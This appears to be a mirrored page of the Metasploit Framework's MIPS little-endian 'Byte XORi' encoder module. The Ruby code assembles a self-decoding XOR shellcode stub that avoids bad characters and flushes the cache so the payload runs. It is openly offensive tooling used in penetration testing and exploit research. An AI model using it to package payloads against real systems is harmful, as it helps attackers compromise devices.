CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/mipsle/byte_xori.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasm'
7
8
class MetasploitModule < Msf::Encoder::Xor
9
Rank = NormalRanking
10
11
def initialize
12
super(
13
'Name' => 'Byte XORi Encoder',
14
'Description' => %q{
15
Mips Web server exploit friendly xor encoder. This encoder has been found useful on
16
situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS
17
architectures, this one is based on the xori instruction.
18
},
19
'Author' =>
20
[
21
'Julien Tinnes <julien[at]cr0.org>', # original longxor encoder, which this one is based on
22
'juan vazquez', # byte_xori encoder
23
'Pedro Ribeiro <[email protected]>', # fix for Linux >= 2.6.11 (set up cacheflush() args properly)
24
],
25
'Arch' => ARCH_MIPSLE,
26
'License' => MSF_LICENSE,
27
'Decoder' =>
28
{
29
'KeySize' => 1,
30
'BlockSize' => 1,
31
'KeyPack' => 'C',
32
})
33
end
34
35
#
36
# Returns the decoder stub that is adjusted for the size of the buffer
37
# being encoded.
38
#
39
def decoder_stub(state)
40
41
# add 4 number of passes for the space reserved for the key, at the end of the decoder stub
42
# (see commented source)
43
number_of_passes=state.buf.length+4
44
raise EncodingError.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 32766
45
46
# 16-bits not (again, see also commented source)
47
reg_14 = (number_of_passes+1)^0xFFFF
48
reg_5 = state.buf.length^0xFFFF
49
50
decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:little), <<EOS).encoded.data
51
main:
52
53
li macro reg, imm
54
addiu reg, $0, imm ; 0xYYYYXX24 - xx: reg #, yyyy: imm # imm must be equal or less than 0x7fff
55
endm
56
57
li ($14, #{reg_14}) ; 0xXXXX0e24 - store in $14 the number of passes (two's complement) - xxxx (number of passes)
58
nor $14, $14, $0 ; 0x2770c001 - get in $14 the number of passes
59
li ($11,-84) ; 0xacff0b24 - store in $11 the offset to the end of the decoder (two's complement) (from the addu instr)
60
61
; acts as getpc
62
next:
63
bltzal $8, next ; 0xffff1005 - branch to next if $8 < 0, store return address in $31 ($ra); pipelining executes next instr.
64
slti $8, $0, 0x#{slti_imm(state)} ; 0xXXXX0828 - Set $8 = 0; Set $8 = 1 if $0 < imm; else $8 = 0 / xxxx: imm
65
66
nor $11, $11, $0 ; 0x27586001 - get in $11 the offset to the end of the decoder (from the addu instr)
67
addu $25, $31, $11 ; 0x21c8eb03 - get in $25 a pointer to the end of the decoder stub
68
addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below)
69
70
slti $23, $0, 0x#{slti_imm(state)} ; 0xXXXX1728 - Set $23 = 0 (Set $23 = 1 if $0 < imm; else $23 = 0) / xxxx: imm
71
lb $17, -1($25) ; 0xffff3183 - Load xor key in $17 (stored on the last byte of the decoder stub)
72
73
; Init $6 and $15
74
li ($13, -4) ; 0xfcff0d24 - $13 = -4
75
nor $6, $13, $0 ; 0x2730a001 - $6 = 3 ; used to easily get the cacheflush parameter
76
addi $15, $6, -2 ; 0xfeffcf20 - $15 = 1 ($15 = decoding loop counter increment)
77
78
; In order avoid null bytes, decode also the xor key, so memory can be
79
; referenced with offset -1
80
loop:
81
lb $8, -4($25) ; 0xfcff2883 - Load in $8 the byte to decode
82
addu $23, $23, $15 ; 0x21b8ef02 - Increment the counter ($23)
83
xori $3, $8, 0x#{padded_key(state)} ; 0xf2610339 - xori decoding instruction, store the decoded byte on $3
84
#{set_on_less_than(state)} ; 0xXXf0ee02 - $30 = 1 if $23 < $14; else $30 = 0 (update branch condition) / xx: 0x2b if slti, 0x2a if slt
85
sb $3, -4($25) ; 0xfcff23a3 - Store decoded byte on memory
86
bne $0, $30, loop ; 0xfaffc017 - branch to loop if $30 != 0 (ranch while bytes to decode)
87
addu $25, $25, $15 ; 0x21c82f03 - next instruction to decode, executed because of the pipelining
88
89
addiu $4, $16, -4 ; cacheflush() addr parameter
90
li( $10,#{reg_5}) ; cacheflush() nbytes parameter
91
nor $5, $10, $0 ; same as above
92
93
li ($2, 4147) ; 0x33100224 - cacheflush system call
94
syscall 0x52950 ; 0x0c544a01
95
nop ; encoded shellcoded must be here (xor key right here ;) after decoding will result in a nop
96
EOS
97
98
return decoder
99
end
100
101
102
def padded_key(state, size=1)
103
key = Rex::Text.rand_text(size, state.badchars)
104
key << [state.key].pack("C")
105
return key.unpack("n")[0].to_s(16)
106
end
107
108
# Returns an two-bytes immediate value without badchars. The value must be
109
# on the 0x8000-0x8fff so it is used as negative value by slti (set less
110
# than signed immediate)
111
def slti_imm(state)
112
imm = Rex::Text.rand_text(2, state.badchars + (0x00..0x7f).to_a.pack("C*"))
113
return imm.unpack("n")[0].to_s(16)
114
end
115
116
# Since 0x14 contains the number of passes, and because of the li macro, can't be
117
# longer than 0x7fff, both sltu (unsigned) and slt (signed) operations can be used
118
# here
119
def set_on_less_than(state)
120
instructions = {
121
"sltu $30, $23, $14" => "\x2b\xf0\xee\x02", # set less than unsigned
122
"slt $30, $23, $14" => "\x2a\xf0\xee\x02" # set less than
123
}
124
125
instructions.each do |k,v|
126
if Rex::Text.badchar_index(v, state.badchars) == nil
127
return k
128
end
129
end
130
131
raise BadcharError.new,
132
"The #{self.name} encoder failed to encode the decoder stub without bad characters.",
133
caller
134
end
135
136
def encode_finalize_stub(state, stub)
137
# Including the key into the stub by ourselves because it should be located
138
# in the last 4 bytes of the decoder stub. In this way decoding will convert
139
# these bytes into a nop instruction (0x00000000). The Msf::Encoder only supports
140
# one decoder_key_offset position
141
real_key = state.key
142
stub[-4, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
143
stub[-3, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
144
stub[-2, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
145
stub[-1, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
146
return stub
147
end
148
end
149
150